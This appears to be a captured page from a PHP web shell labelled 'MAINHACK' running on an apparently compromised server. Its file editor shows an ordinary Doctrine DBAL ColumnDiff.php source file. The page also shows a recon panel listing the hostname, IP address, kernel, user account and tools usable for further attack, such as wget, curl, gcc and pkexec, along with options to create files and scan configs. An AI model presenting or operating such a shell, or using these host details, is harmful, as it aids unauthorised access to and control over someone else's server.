[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ColumnDiff.php
<?php declare(strict_types=1); namespace Doctrine\DBAL\Schema; use function strcasecmp; /** * Represents the change of a column. */ class ColumnDiff { /** @internal The diff can be only instantiated by a {@see Comparator}. */ public function __construct(private readonly Column $oldColumn, private readonly Column $newColumn) { } public function countChangedProperties(): int { return (int) $this->hasUnsignedChanged() + (int) $this->hasAutoIncrementChanged() + (int) $this->hasDefaultChanged() + (int) $this->hasFixedChanged() + (int) $this->hasPrecisionChanged() + (int) $this->hasScaleChanged() + (int) $this->hasLengthChanged() + (int) $this->hasNotNullChanged() + (int) $this->hasNameChanged() + (int) $this->hasTypeChanged() + (int) $this->hasCommentChanged(); } public function getOldColumn(): Column { return $this->oldColumn; } public function getNewColumn(): Column { return $this->newColumn; } public function hasNameChanged(): bool { $oldColumn = $this->getOldColumn(); // Column names are case insensitive return strcasecmp($oldColumn->getName(), $this->getNewColumn()->getName()) !== 0; } public function hasTypeChanged(): bool { return $this->newColumn->getType()::class !== $this->oldColumn->getType()::class; } public function hasLengthChanged(): bool { return $this->hasPropertyChanged(static function (Column $column): ?int { return $column->getLength(); }); } public function hasPrecisionChanged(): bool { return $this->hasPropertyChanged(static function (Column $column): ?int { return $column->getPrecision(); }); } public function hasScaleChanged(): bool { return $this->hasPropertyChanged(static function (Column $column): int { return $column->getScale(); }); } public function hasUnsignedChanged(): bool { return $this->hasPropertyChanged(static function (Column $column): bool { return $column->getUnsigned(); }); } public function hasFixedChanged(): bool { return $this->hasPropertyChanged(static function (Column $column): bool { return $column->getFixed(); }); } public function hasNotNullChanged(): bool { return $this->hasPropertyChanged(static function (Column $column): bool { return $column->getNotnull(); }); } public function hasDefaultChanged(): bool { $oldDefault = $this->oldColumn->getDefault(); $newDefault = $this->newColumn->getDefault(); // Null values need to be checked additionally as they tell whether to create or drop a default value. // null != 0, null != false, null != '' etc. This affects platform's table alteration SQL generation. if (($newDefault === null) xor ($oldDefault === null)) { return true; } return $newDefault != $oldDefault; } public function hasAutoIncrementChanged(): bool { return $this->hasPropertyChanged(static function (Column $column): bool { return $column->getAutoincrement(); }); } public function hasCommentChanged(): bool { return $this->hasPropertyChanged(static function (Column $column): string { return $column->getComment(); }); } private function hasPropertyChanged(callable $property): bool { return $property($this->newColumn) !== $property($this->oldColumn); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.81 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002